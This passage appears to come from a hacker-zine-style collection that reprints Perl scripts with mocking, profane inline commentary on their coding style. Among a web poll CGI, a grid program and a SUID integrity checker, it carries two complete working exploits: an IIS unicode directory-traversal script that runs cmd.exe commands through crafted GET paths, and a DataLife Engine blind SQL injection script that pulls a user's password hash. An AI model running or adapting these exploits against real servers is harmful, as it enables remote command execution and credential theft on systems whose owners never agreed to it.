# The long overly cautious road.
}
sub size
{
my $self = shift;
my $index = shift || -1;
if( @_ ) { $self->[$index][SIZE] = shift }
$self->[$index][SIZE] || 0;
# If you must
}
sub name
{
my $self = shift;
my $index = shift || -1;
if( @_ ) { $self->[$index][NAME] = shift }
$self->[$index][NAME] || '';
}
sub last
{
my $self = shift;
if( @_ )
{
$self->size( -1, shift );
$self->name( -1, shift || '' );
}
( $self->size( -1 ), $self->name( -1 ) );
}
sub draw
{
my $self = shift;
for( my $i = 0; $i < MAX; $i++ )
# no Perl style for-loop?
{
next if $self->size( $i ) == 0 or $self->name( $i ) eq '';
$win->addstr( $i, 1, " " x $Curses::COLS );
$win->addstr( $i, 1, sprintf( "%8d", $self->[$i][SIZE] || '' ) );
$win->addstr( $i, 10, $self->name( $i ) );
$win->refresh;
}
}
There. Its over. It hurt us more than you! Hardly a rubbing at all.
Softest writeup yet.
-[0x12] # School You: davido ---------------------------------------------
#!/usr/local/bin/perl -T
# poll.cgi: Creates an HTML form containing a web poll (or
# questionaire).
use strict;
use warnings;
use CGI::Pretty;
use CGI::Carp qw( fatalsToBrowser );
# ------------------ Begin block ------------------------------------
# This script uses the BEGIN block as a means of providing CGI::Carp
# with an alternate error handler that sends fatal errors to the
# browser instead of the server log.
BEGIN {
sub carp_error {
my $error_message = shift;
my $cq = new CGI;
print $cq->start_html( "Error" ),
$cq->h1("Error"),
$cq->p( "Sorry, the following error has occurred: " ),
$cq->p( $cq->i( $error_message ) ),
$cq->end_html;
}
CGI::Carp::set_message( \&carp_error );
}
# ----------------- Script Configuration Variables ------------------
# Script's name.
my $script = "poll.cgi";
# Poll Question filehandle.
# Questions will be read from <DATA>. Unset $question_fh if
# you wish to read from an alternate question file.
my $question_fh = \*DATA;
# Poll Question File path/filename.
# Set $question_file to the path of alternate question file.
# Empty string means read from <DATA> instead of an external file.
my $question_file = "";
# Set path to poll tally file. File must be readable/writable by all.
# For an added degree of obfuscated security ensure that the file's
# directory is not readable or writable by the outside world.
my $poll_data_path = "../polldata/poll.dat";
# Administrative User ID and Password. This is NOT robust.
# It prevents casual snoopers from seeing results of poll.
my $adminpass = "Guest";
my $userid = "Guest";
# -------------------- File - scoped variables ----------------------
# Create the CGI object:
my $q = new CGI;
# -------------------- Main Block -----------------------------------
MAIN_SWITCH: {
my $poll_title;
# If the parameter list from the server is empty, we know
# that we need to output the HTML for the poll.
!$q->param() && do {
$poll_title = print_poll( $question_fh,
$question_file,
$script,
$q );
last MAIN_SWITCH;
};
# If the user hit the "Enter" submit button, having supplied a
# User ID and Password, he wants to see the poll's tally page.
defined $q->param('Enter') && do {
if ( $q->param("Adminpass") eq $adminpass and
$q->param("Userid" ) eq $userid ) {
my $results = get_results ( $poll_data_path );
print_results( $question_fh,
$question_file,
$results,
$q );
} else {
action_status("NO_ADMIN", $poll_title, $q);
}
last MAIN_SWITCH;
};
# If the user hit the "Submit" submit button, having answered
# all of the poll's questions, he wants to submit the poll.
defined $q->param('Submit') && do {
if ( verify_submission( $q ) ) {
write_entry( $poll_data_path, $q );
action_status("THANKS", $poll_title, $q);
} else {
$q->delete_all;
action_status("INCOMPLETE", $poll_title, $q);
}
last MAIN_SWITCH;
};
# If we fall to this point it means we don't know *what* the
# user is trying to do (probably supplying his own parameters!
action_status("UNRECOGNIZED", $poll_title, $q);
}
$q->delete_all; # Clear parameter list as a last step.
# We're done! Go home!
# -------------------- End Main Block -------------------------------
# -------------------- The workhorses (subs) ------------------------
# Verify the poll submission is complete.
# Pass in the CGI object. Returns 1 if submission is complete.
# Returns zero if submission is incomplete.
sub verify_submission {
my $q = shift;
my $params = $q->Vars;
my $ok = 1;
foreach my $val ( values %$params ) {
if ( $val eq "Unanswered" ) {
$ok = 0;
last;
}
}
return $ok;
}
# Write the entry to our tally-file. Entry consists of a series of
# sets. A set is a question ID followed by its answer token.
# Pass in the path to the tally file and the CGI object.
# Thanks tye for describing how an append write occurs as an
# atomic entity, thus negating the need for flock if entire record
# can be output at once (at least that's what I think you told me).
sub write_entry {
my ( $outfile, $q ) = @_;
my $output="";
my %input = map { $_ => $q->param($_) } $q->param;
foreach (keys %input) {
$output .= "$_, $input{$_}\n" if defined $input{$_};
}
open POLLOUT, ">>$outfile"
or die "Can't write to tracking file\n$!";
print POLLOUT $output;
close POLLOUT or die "Can't close tracking file\n$!";
}
# Read and tabulate results of poll entries from the data file.
# Results are tabulated by adding up the number of times each
# answer token appears, for each question.
# Pass in filename. Returns a reference to a hash of hashes
# that looks like $hash{question_id}{answer_id}=total_votes.
sub get_results {
my $datafile = shift;
my %tally;
open POLLIN, "<$datafile"
or die "Can't read tracking file.\n$!";
while (my $response = <POLLIN> ) {
chomp $response;
my ( $question, $answer ) = split /,\s*/, $response;
$tally{$question}{$answer}++;
}
close POLLIN;
return \%tally;
}
# Output a results page to the browser. Reads the original
# question file (or DATA) to properly associate the text of the
# questions and answers with the tags stored in the tally hash.
# Pass in the q-file filehandle, the q-file name (blank if <DATA>),
# the reference to the tally-hash, and the CGI object.
sub print_results {
my ( $fh, $qfile, $tally, $q ) = @_;
if ( $qfile ) {
$fh = undef;
open $fh, "<".$qfile or die "Can't open $qfile.\n$!";
}
my $script_url = $q->url( -relative => 1 );
my $title = <$fh>;
chomp $title;
$title .= "Results";
print $q->header( "text/html" ),
$q->start_html( $title ),
$q->h1( $title ),
$q->p;
while ( my $qset = get_question( $fh ) ) {
print "Question: $qset->{id}: $qset->{question}:<br><ul>";
foreach my $aset ( @{$qset->{'answers'}} ) {
if ( exists $tally->{$qset->{id}}{$aset->{token}} ) {
print "<li>$aset->{text}: ",
"$tally->{$qset->{id}}{$aset->{token}}.";
}
}
print "</ul><p>"
}
if ( $qfile ) {
close $fh or die "Can't close $qfile.\n$!";
}
print $q->hr,
$q->p( "Total Respondents: ",
"$tally->{'Submit'}{'Submit'}." ),
$q->hr,
$q->p( "<a href=$script_url>Return to poll</a>"),
$q->end_html;
}
# Outputs the HTML for the poll.
# Pass in the filehandle to the poll's question file,
# its filename (empty string if <DATA>), script name,
# and CGI object.
sub print_poll {
my ( $fh, $infile, $scriptname, $q ) = @_;
if ( $infile ) {
$fh = undef;
open $fh, "<".$infile or die "Can't open $infile.\n$!";
}
my $polltitle = <$fh>;
chomp $polltitle;
print $q->header( "text/html" ),
$q->start_html( -title => $polltitle),
$q->h1( $polltitle ),
$q->br,
$q->hr,
$q->start_form( -method => "post",
-action => $scriptname );
while ( my $qset = get_question( $fh ) ) {
my ( %labels, @vals );
foreach ( @{$qset->{'answers'}} ) {
push @vals, $_->{'token'};
$labels{ $_->{'token'} } = $_->{'text'};
}
push @vals, "Unanswered";
$labels{'Unanswered'} = "No Response";
print $q->p( $q->h3( $qset->{'question'} ) ),
$q->radio_group(
-name => $qset->{'id'},
-default => "Unanswered",
-values => \@vals,
-labels => \%labels,
-linebreak => "true" );
}
print $q->p, $q->p,
$q->submit( -name => "Submit" ),
$q->reset,
$q->endform,
$q->br,
$q->p,
$q->p,
$q->hr,
$q->start_form( -method => "post",
-action => $scriptname ),,
$q->p($q->h3("Administrative use only.") ),
$q->p( "ID: ",
$q->textfield( -name =>"Userid",
-size => 25,
-maxlength => 25 ),
"Password: ",
$q->password_field( -name => "Adminpass" ),
$q->submit( -name => "Enter" ) ),
$q->endform,
$q->end_html;
if ( $infile ) {
close $fh or die "Can't close $infile.\n$!";
}
return $polltitle;
}
# Outputs an HTML status page based on the action requested.
# This routine is used to thank the user for taking the poll, or
# to blurt out user-caused warnings.
# Pass in the action type, poll title, and the CGI object.
sub action_status {
my ( $action, $title, $q ) = @_;
print $q->header( "text/html" ),
$q->start_html( -title => $title." Status" ),
$q->h1( $title." Status" ),
$q->hr;
my ( $headline, @text, $script_url );
$script_url = $q->url( -relative => 1 );
RED_SWITCH: {
$action eq 'NO_ADMIN' && do {
$headline = "Access Denied";
@text = ( "This section is for administrative ",
"use only.<p>",
"<a href = $script_url>Return to poll.</a>" );
last RED_SWITCH;
};
$action eq 'THANKS' && do {
$headline = "Thanks for taking the
poll.<p>";
@text = ( "" );
last RED_SWITCH;
};
$action eq 'INCOMPLETE' && do {
$headline = "Error: You must answer all poll questions.";
@text = ( "Please complete poll, and submit again.<p>",
"<a href = $script_url>Return to poll.</a>" );
last RED_SWITCH;
};
$action eq 'UNRECOGNIZED' && do {
$headline = "Error: Unrecognized form data.";
@text = ( "" );
last RED_SWITCH;
};
}
print $q->h3( $headline ),
$q->p( @text ),
$q->end_html;
}
# Gets a single question and its accompanying answer set from
# the filehandle passed to it.
# Returns a structure containing a single Q/A set. A poll will
# generally consist of a number of Q/A sets, so this function
# is usually called repeatedly to build up the poll.
sub get_question {
my $fh = shift;
my ( $question_id, $question, @answers, %set );
GQ_READ: while ( my $line = <$fh> ) {
chomp $line;
GQ_SWITCH: {
$line eq "" && do { next GQ_READ }; # Ignore blank.
$line =~ /^#/ && do { next GQ_READ }; # Ignore comments.
$line =~ /^Q/ && do { # Bring in a question.
die "Multiple questions\n"
if $question_id or $question;
( $question_id, $question ) = $line =~
/^Q(\d+):\s*(.+?)\s*$/;
last GQ_SWITCH;
};
$line =~ /^A/ && do { # Bring in an answer.
my ( $token, $text ) = $line =~
/^A:\s*(\S+)\s*(.+?)\s*$/;
die "Bad answer.\n" unless $token and $text;
push @answers, {( 'token' =>$token,
'text'=>$text )};
last GQ_SWITCH;
};
$line =~ /^E/ && do { # End input, assemble structure.
die "Set missing components.\n"
unless $question and @answers;
$set{'id'} = $question_id;
$set{'question'} = $question;
$set{'answers'} = \@answers;
last GQ_SWITCH;
};
}
return \%set if %set;
}
return 0; # This is how we signal nothing more to get.
}
# -------------------- <DATA> based poll ----------------------------
# First line of DATA section should be the Poll title.
__DATA__
Dave's Poll
# Format: Comments allowed if line begins with #.
# Blank lines allowed.
# Data lines must begin with a tag: Qn:, A:, or E.
# Any amount of whitespace separates answer tokens from text.
# Other whitespace is not significant.
# Complete sets must be Qn, A:, A:...., E.
# If you choose to use an external question file, comment out
# but retain as an example at least one question from below.
Q1: Does the poll appear to work?
A: ++++ Big Success!
A: +++ Moderate Success!
A: ++ Decent Success!
A: + Success!
A: - Minor Unsuccess.
A: -- Some Unsuccess.
A: --- Moderate Unsuccess.
A: ---- Monumental Disaster!
E
Q2: Did you find serious issues?
A: !! Yes, serious!
A: ! Yes, minor.
A: * Mostly no.
A: ** Perfect!
E
Q3: Regarding this poll:
A: +++ You could take it over and over again all day!
A: ++ Kinda nifty.
A: + Not bad.
A: - Yawn...
A: -- Zzzzzzz....
A: --- Arghhhhh, get this off my computer!
E
Q4: You spend too much time on the computer.
A: T True.
A: F False.
A: H Huh?
E
Q5: You're sick of answering questions.
A: ++ Definately.
A: + Somewhat.
A: - Bring them on!
E
-[0x13] # AntiSec AntiPerl -----------------------------------------------
#!/usr/bin/perl
#
# exploit for the windows IIS unicode hole
# this perl script makes the thinks nicer
#
# written by newroot
#
# greetz to mcb, nopfish, merith
# and the whole antisec.de team
#
# http://www.antisec.de
#
use Getopt::Std;
use IO::Socket;
use IO::Select;
#1 == white
my @unis=(
"/scripts/..%c0%af..",
"/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",
"/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",
"/msadc/..%c0%af../..%c0%af../..%c0%af..",
"/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",
"/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",
"/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",
"/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.."
);
# qw that shit, biatch
sub ussage () {
print "\033[1mremote ISS unicode exploit\033[0m\r\n";
print "\033[0mwritten by newroot\033[0m\r\n\n";
print "Usage doublepimp.pl [options] <target> <command>\n";
print "\t\t-p <port>\toptional port number if not 80\n";
print "\t\t-d <altanative directory>\tuse this path instance of /winnt/system32\n";
print "\t\t-v\t\t\tverbose output\n";
exit 0;
}
# I believe its spelt 'usage', and that's some ugly quoting
sub connect_host () {
my $host = shift;
my $port = shift;
my $socket = IO::Socket::INET->new (PeerAddr => $host,
PeerPort => $port,
Proto => "tcp",
Type=>SOCK_STREAM,
) or die "[-] Cant connect to target!\n";
return $socket;
}
sub my_send () {
my $socket = shift;
my $buf = shift;
my @result;
print $socket $buf;
select($socket);
$|=1;
while (<$socket>) {
push (@result, $_);
}
# @result = <$socket>;
select(STDOUT);
return @result;
}
### MAIN ###
#not going to make this one lexical, I see
%option =();
my @result;
my $target_num;
my $break;
my $command;
my $port;
my $path;
# those could all go on one line!
# but then your script would have less lines! o no!
getopts ("h:p:d:v", \%option);
if (!defined($ARGV[0])) {
&ussage ();
}
if (!defined($ARGV[1])) {
&ussage ();
}
# what..the...fuck
# you moron
# ussage() unless $ARGV[1]; # whatever - covers the whole block
if (defined($option{p})) {
$port = $option{p};
} else {
$port = 80;
}
# $port = $options{'p'} || 80;
if (defined($option{d})) {
$path = $option{d};
} else {
$path = "/winnt/system32/";
}
#I can't stomach much more of this...
$target = $ARGV[0];
$break = 0;
$target_num = 0;
$target = $ARGV[0]; # we got it the first time
$port = $port; # no shit
$break = 0; # clarifying?
$target_num = 0; # uh..
# let me ask you this. what kind of moron releases such shitty code
# without even looking over it
foreach my $uni (@unis) {
# excuse me while I throw up
print "[+] Connecting to $ARGV[0]:$port\n" if (defined($option{v}));
my $socket = &connect_host($ARGV[0], $port);
print "[+] Connected to $ARGV[0]:$port\n" if (defined($option{v}));
print "[+] Trying $uni\n" if (defined($option{v}));
@result = &my_send ($socket, "GET $uni/winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
close ($socket);
# ok I'm back. glad I missed that
foreach my $line (@result) {
# we have this kickass grep command, learn it
if ($line =~ /Verzeic/) {
$break = 1;
break;
}
}
if ($break eq 1) {
# ==, dickface
print "[+] Found working string $uni\n" if (defined($option{v}));
goto working;
# GOTO! WOO
break;
} else {
$target_num++;
}
}
die "[-] Sorry no working string found!\n[-] Server maybee not vunable!";
working:
my $socket = &connect_host($ARGV[0], $port);
$ARGV[1] =~ /([A-z0-9\.]+)/;
$command = $1;
$ARGV[1] =~s/$command//g;
$ARGV[1] =~s/ /\+/g;
# well isn't that interesting...
print "[+] Sending GET $unis[$target_nr]$path$command?$ARGV[1] HTTP/1.0\r\n\r\n";
@result = &my_send ($socket, "GET $unis[$target_nr]$path$command?$ARGV[1] HTTP/1.0\r\n\r\n");
close ($socket);
# yuck, yuck, and yuck
print @result;
# finally a line I like
### DA END ###
# thank god
-[0x14] # School You: atcroft --------------------------------------------
##### It's from 2001, so don't try any "look thats bad!" shit. Just enjoy
#!/usr/local/bin/perl --
# use strict;
if ($#ARGV < 0) {
&display_usage;
exit(0);
}
my $datafile = $ARGV[0] || $0 . '.txt';
my ($height, $width, $bcharlist, @board) = &read_data($datafile);
my @borderchars = split('', $bcharlist);
&display_board($width, $height, 0, @board);
my $changes = $height * $width;
my $passes = 0;
while ($changes > 0) {
$changes = 0;
$passes++;
for (my $y = 0; $y < $height; $y++) {
for (my $x = 0; $x <= $#{$board[$y]}; $x++) {
next if (&is_border($board[$y][$x]));
my $sum = &count_neighbors($x, $y,
$width, $height, \@board);
if ($sum >= 3) {
$changes++;
$board[$y][$x] = $borderchars[0];
}
}
}
}
&display_board($width, $height, $passes, @board);
sub read_data {
my ($filename) = @_;
my $h = 0, $w = 0, $charlist = '#';
my (@board);
open(DATAFILE, $filename) or die("Can't open $filename : $!\n");
while (my $line = <DATAFILE>) {
chomp($line);
next unless (length($line));
next if ($line =~ m/^#/);
my @parts = split(/\s*[:=]\s*/, $line, 2);
$w = $parts[1] if ($parts[0] =~ m/width|x/i);
$h = $parts[1] if ($parts[0] =~ m/height|y/i);
$charlist = $parts[1]
if ($parts[0] =~ m/border|wall|char/i);
if ($parts[0] =~ m/board|screen/i) {
for (my $i = 0; $i < $w; $i++) {
$line = <DATAFILE>;
chomp($line);
@{$board[$i]} = split('', $line);
}
}
}
close(DATAFILE);
return($h, $w, $charlist, @board);
}
sub display_board {
my ($i, $j, $pass, @screen) = @_;
printf("Pass : %d\nHeight : %d, Width : %d\nBoard : \n",
$pass, $j, $i);
for (my $y = 0; $y < $j; $y++)
{ print(join('', @{$screen[$y]}, "\n")); }
print("\n");
}
sub is_border {
my ($character) = @_;
return(scalar(grep(/$character/, @borderchars)));
}
sub count_neighbors {
local ($i, $j, $w, $h, *screen) = @_;
my $ncount = 0;
if ($j > 0)
{ $ncount++ if (&is_border($screen[$j - 1][$i])); }
if ($j < ($h - 1))
{ $ncount++ if (&is_border($screen[$j + 1][$i])); }
if ($i > 0)
{ $ncount++ if (&is_border($screen[$j][$i - 1])); }
if ($i < $w)
{ $ncount++ if (&is_border($screen[$j][$i + 1])); }
return($ncount);
}
sub display_usage {
while (<DATA>) {
s/\$0/$0/;
print $_ unless (m/^__DATA__$/);
}
}
__END__
__DATA__
Program execution:
$0 filename
where filename is the name of the data file to use.
Datafile format:
<line> : <parameter1><seperator><parameter1_value>
<line> : <parameter2<seperator>parameter2_value>
<line> : <parameter2><seperator>
<line> : <dataline>
<seperator> : <space>*['='|':']<space>*
<parameter1> : ['height'|'width'|'x'|'y']
<parameter1_value> : <number>
<parameter2> : ['border'|'wall'|'char']
<parameter2_value> : <string1>
<dataline> : <string2>
<number> : <digit>+
<string1> : <non_whitespace>+
<string2> : <character>
<digit> : (equivalent to perl regex /\d/)
<space> : (equivalent to perl regex /\s/)
<non_whitespace> : (equivalent to perl regex /\S/)
<character> : (matched by perl regex /./)
Sample file:
x:4
y= 3
wall=#
screen=
## #
# #
# ##
-[0x15] # Russian for the fall -------------------------------------------
#!/usr/bin/perl
## DataLife Engine sql injection exploit by RST/GHC
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
## 18.06.06
# STRICT STRICT STRICT STRICT STRICT
# WARNINGS WARNINGS WARNINGS WARNINGS
# STRICT STRICT STRICT STRICT STRICT
# WARNINGS WARNINGS WARNINGS WARNINGS
# STRICT STRICT STRICT STRICT STRICT
# WARNINGS WARNINGS WARNINGS WARNINGS
use LWP::UserAgent;
use Getopt::Std;
getopts('u:n:p:');
$url = $opt_u;
$name = $opt_n;
$prefix = $opt_p || 'dle_';
if(!$url || !$name) { &usage; }
$s_num = 1;
$|++;
$n = 0;
# step by step right?
&head;
# head();
print "\r\n";
# CAPITAL LETTERS
print " [~] URL : $url\r\n";
print " [~] USERNAME : $name\r\n";
print " [~] PREFIX : $prefix\r\n";
$userid = 0;
print " [~] GET USERID FOR USER \"$name\" ...";
$xpl = LWP::UserAgent->new() or die;
$res = $xpl->get($url.'?subaction=userinfo&user='.$name);
if($res->as_string =~ /do=lastcomments&userid=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=pm&doaction=newpm&user=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=feedback&user=(\d*)/) { $userid = $1; }
if($userid != 0 ) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }
# please don't make me look at code like that again
# no further comment on that
print " [~] USERID : $userid\r\n";
print " [~] SEARCHING PASSWORD ... ";
while(1)
{
if(&found(47,58)==0) { &found(96,103); }
# heh heh
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b [ DONE ]
---------------------------------------------------------------
USERNAME : $name
USERID : $userid
PASSHASH : $allchar
---------------------------------------------------------------
};
# you know qq! Do you know it is the same as "
}
else
{
print "\b[ FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
print "\b".chr($char)." ";
}
$s_num++;
# spaghetti in the morning, spaghetti in the evening, spaghetti code EVERYWHERE
}
sub found($$)
# prototypes? hold your horse, lone ranger!
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
# you can do return crack($fmin, $fmas); noob
# instead you'll mess with a non-lexical variable for the heck of it
$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
# I am shaking
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
# for loop, dipshit
$i = 0;
return $i;
}
sub check($)
{
# no reason at all to use a prototype
$n++;
status();
$ccheck = $_[0];
$xpl = LWP::UserAgent->new() or die;
$res = $xpl->get($url.'?subaction=userinfo&user='.$name.'%2527 and ascii(substring((SELECT password FROM '.$prefix.'users WHERE user_id='.$userid.'),'.$s_num.',1))'.$ccheck.'/*');
if($res->as_string =~ /$name<\/td>/) { return 1; }
else { return 0; }
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b/"; }
if($status==1){ print "\b-"; }
if($status==2){ print "\b\\"; }
if($status==3){ print "\b|"; }
# you can spread out this syntax a bit if you would like. You know, make it cute and all
# not to mention you can use elsif
# or just print "\b-" if $status == 0;
}
sub usage()
{
&head;
# needs its own sub? then call it like a man. head()
print q(
USAGE:
r57datalife.pl [OPTIONS]
OPTIONS:
-u <URL> - path to index.php
-n <USERNAME> - username for bruteforce
-p [prefix] - database prefix
E.G.
r57datalife.pl -u http://server/index.php -n admin
---------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head()
{
print q(
---------------------------------------------------------------
DataLife Engine sql injection exploit by RST/GHC
---------------------------------------------------------------
);
}
# Too much overhead. Too much crap. A complete mess. Learn to code
# Learn to design
-[0x16] # Hello s0ttle ---------------------------------------------------
s0ttle, friend, where have you been? Taking some time off? Retreating from the scene?
You were once a Perl darling. Learning intelligently, you built up a little list of cute scripts.
You learned in Perl Monks, and you contributed back to the community. Here, have a list of your
contributions:
2002�..01�..13 s0ttle Re: Code Review! Go Ahead, Rip It Up! Re:SoPW
2002�..01�..01 s0ttle Managing C structs -with Perl- SoPW
2001�..12�..28 s0ttle Re: (Ovid) Re: Assigning CGI object data Re:SoPW
2001�..12�..28 s0ttle Assigning CGI object data SoPW
2001�..12�..28 s0ttle Re: Help with a n Use of uninitialized value in join error message Re:SoPW
2001�..11�..14 s0ttle Re: pattern match on entire file Re:SoPW
2001�..11�..14 s0ttle Re: Removing data from a string with Regex Re:SoPW
2001�..11�..11 s0ttle Re: prompting a user for input Re:SoPW
2001�..11�..09 s0ttle Re: Comments in my code Re:Med
2001�..11�..09 s0ttle Comments in my code Med
2001�..10�..29 s0ttle Re: Interpolating $1 within a variable Re:SoPW
2001�..10�..27 s0ttle Re: Interpolating $1 within a variable Re:SoPW
2001�..10�..27 s0ttle Interpolating $1 within a variable SoPW
2001�..10�..23 s0ttle 2nd obfu Obfu
2001�..10�..22 s0ttle Tribute to TMTOWTDI Med
2001�..10�..22 s0ttle Re: chmod/chflags Re:SoPW
2001�..10�..04 s0ttle Re: how to read a 2 dim-array Re:SoPW
2001�..10�..02 s0ttle first obfu Obfu
2001�..09�..19 s0ttle Re: beginner syntax question Re:SoPW
2001�..09�..19 s0ttle Re: Connection time out with net::irc Re:SoPW
2001�..09�..17 s0ttle formatted output of localtime() SoPW
2001�..09�..13 s0ttle Re: Template Toolkit installation problems Re:SoPW
2001�..08�..21 s0ttle Re: begining of a file Re:SoPW
2001�..08�..04 s0ttle Re: subs && typeglobs Re:SoPW
2001�..08�..04 s0ttle Re: subs && typeglobs Re:SoPW
2001�..08�..03 s0ttle Re: subs && typeglobs Re:SoPW
2001�..08�..03 s0ttle Re: subs && typeglobs Re:SoPW
2001�..08�..03 s0ttle subs && typeglobs SoPW
2001�..08�..03 s0ttle Re: Recursion Re:SoPW
2001�..06�..21 s0ttle for loop SoPW
2001�..06�..20 s0ttle s0ttle User
Good memories, eh? Some a little embarrassing, but you were teething.
Here's some old s0ttle code. Picked because its newer than the rest.
I like how you code. It's competent, and it is witty. Enthusiastic.
#!/usr/bin/perl -w
;#
;# fakelabs development
;#
# file: chk_suid
# purpose: helps maintain suid/guid integrity
# author: s0ttle@sawbox.net/perl@s0ttle.net
# site: www.sawbox.net/www.s0ttle.net
#
# This program released under the same
# terms as perl itself
#
use strict;
use Digest::MD5;
use IO::File;
use diagnostics; # remove after release
use Fcntl qw(:flock);
use POSIX qw(strftime);
use constant DEBUG => 0;
# Global variables :\
my @suids;
my $count;
my $suidslist = (getpwuid($<))[7]."/suidslist";
my $suidsMD5 = (getpwuid($<))[7]."/suidsMD5";
my $masterMD5 = (getpwuid($<))[7]."/masterMD5";
autoflush STDOUT 1;
&splash;
sub splash{
print "==============================\n",
" www.fakelabs.org \n",
"==============================\n",
" chk_suids.pl\n",
"++++++++++++++----------------\n";
}
opendir(ROOT,'/')
|| c_error("Could not open the root directory!");
print "[01] Generating system suid/guid list.\n";
&find_suids(*ROOT,'/');
sub find_suids{
local (*P_FH) = shift;
my $path = shift;
my $content;
opendir(P_FH,"$path")
|| c_error("Could not open $path");
foreach $content (sort(readdir(P_FH))){
next if $content eq '.' or $content eq '..';
next if -l "$path$content";
if (-f "$path$content"){
push @suids,"$path$content"
if (-u "$path$content" ||
-g "$path$content") && ++$count;
}
elsif (-d "$path$content" && opendir(N_PATH,"$path$content")) {
find_suids(*N_PATH,"$path$content/");
}
else { next; }
}
}
print "[02] Found $count total suid/guid files on your system.\n";
print join "\n",@suids if DEBUG == 1;
&suids_perm;
sub suids_perm{
my $wx_count = 0;
my $ww_count = 0;
my @wx_suids;
my @ww_suids;
my $tempfile = IO::File::new_tmpfile()
|| c_error("Could not open temporary file");
while(<@suids>){
chomp;
my ($user,$group) = (lstat)[4,5];
my $mode = (lstat)[2] & 07777;
$tempfile->printf("%-4o %-10s %-10s %-40s\n",
$mode,(getpwuid($user))[0],(getgrgid($group))[0],$_);
}
$tempfile->seek(0,0);
foreach (<$tempfile>){
my $perm = (split(/\s+/,$_))[0];
if (($perm & 01) == 01){
push @wx_suids,$_; ++$wx_count;
}
elsif (($perm & 02) == 00){
push @ww_suids; ++$ww_count;
}
}
@ww_suids = 'none' if !@ww_suids;
@wx_suids = 'none' if !@wx_suids;
print "[03] World writable suids found: $ww_count\n";
print "=" x 50,"\n", @ww_suids, "=" x 10, "\n"
if $ww_suids[0] !~/none/;
print "[04] World executable suids found: $wx_count\n";
print "=" x 50, "\n", @wx_suids, "=" x 50,"\n"
if $wx_suids[0] !~/none/;
cfg_check($tempfile);
}
sub cfg_check{
my $tempfile = shift;
my $lcount = 0;
print $masterMD5,$suidsMD5,$suidslist,"\n" if DEBUG == 1;
foreach ($masterMD5,$suidsMD5,$suidslist){
++$lcount if !-e;
}
$0 =~s!.*/!!;
print $lcount,"\n" if DEBUG == 1;
if (($lcount != 0) && ($lcount < 3)){
print "[05] Inconsistency found with cfg files, exiting.\n";
}
elsif ($lcount == 3){
print "[05] It seems this is your first time running $0.\n";
&n_create($tempfile);
}
elsif ($lcount == 0){
print "[05] Checking cfg and suid/guid integrity\n";
sleep(2);
&c_suidlist($tempfile); &c_suidsmd5; &c_mastermd5;
}
}
sub c_suidlist{
my $tempfile = shift;
my $slist = IO::File->new($suidslist, O_RDONLY)
|| c_error("Could not open $suidslist for reading");
flock($slist,LOCK_SH);
$tempfile->seek(0,0);
my %temp_vals;
while(<$tempfile>){
chomp;
my ($tperm,$towner,$tgroup,$tfile) = split(/\s+/,$_,4);
print join ':',$tperm,$towner,$tgroup,$tfile,"\n" if DEBUG == 1;
$temp_vals{$tfile} = [$tperm,$towner,$tgroup,$tfile];
}
my %suid_vals;
while(<$slist>){
chomp;
my ($sperm,$sowner,$sgroup,$sfile) = split(/\s+/,$_,4);
print join ':',$sperm,$sowner,$sgroup,$sfile,"\n" if DEBUG == 1;
$suid_vals{$sfile} = [$sperm,$sowner,$sgroup,$sfile];
}
$slist->close;
my $badsuids = 0;
foreach my $val (sort keys %suid_vals){
if ("@{$suid_vals{$val}}" ne "@{$temp_vals{$val}}"){
++$badsuids &&
print "[06] !WARNING! suid/guid modification(s) found! \n",
"=" x 50,"\n" unless $badsuids;
&suidl_warn(\@{$temp_vals{$val}},\@{$suid_vals{$val}});
}
}
if (!$badsuids){
print "[06] $suidslist: OK \n";
} else {
&f_badsuids;
}
}
sub c_mastermd5{
srand;
my $tmd5f = POSIX::tmpnam();
my $tsuf = (rand(time ^ $$)) + $<;
$tmd5f .= $tsuf;
c_error("[07] !WARNING! $tmd5f is a symlink, exiting") if -l $tmd5f;
my $tempmd5 = IO::File->new($tmd5f, O_WRONLY|O_CREAT)
|| c_error("Could not open $tmd5f for writing");
flock($tempmd5,LOCK_EX);
my $mmd5f = IO::File->new($masterMD5, O_RDONLY)
|| c_error("Could not open $masterMD5 for reading");
flock($mmd5f,LOCK_SH); chomp(my $mmd5 = <$mmd5f>); $mmd5f->close;
while(<@suids>){
chomp;
my ($md5f,$md5v) = md5($_);
$tempmd5->printf("%-40s: %-40s\n", $md5f, $md5v)
if $md5f && $md5v;
} $tempmd5->close;
my $s_md5 = md5($suidsMD5);
my $t_md5 = md5($tmd5f);
if (("$s_md5" eq "$t_md5") && ("$t_md5" eq "$mmd5")){
print "[08] $masterMD5: OK \n";
}
# my $md5 = md5($suidsMD5); print "MASTER: $m_md5\n";
# my $t_md5 = md5($tmd5); print "TEMP: $t_md5\n";
print "[09] Verify this is actually your masterMD5 sum: $mmd5\n";
sleep(3);
&cleanup;
&ret;
}
sub suidl_warn{
my $tv_ref = shift;
my $sv_ref = shift;
printf("OLD: %-4d %-10s %-10s %-40s\n",
$$tv_ref[0],$$tv_ref[1],$$tv_ref[2],$$tv_ref[3]);
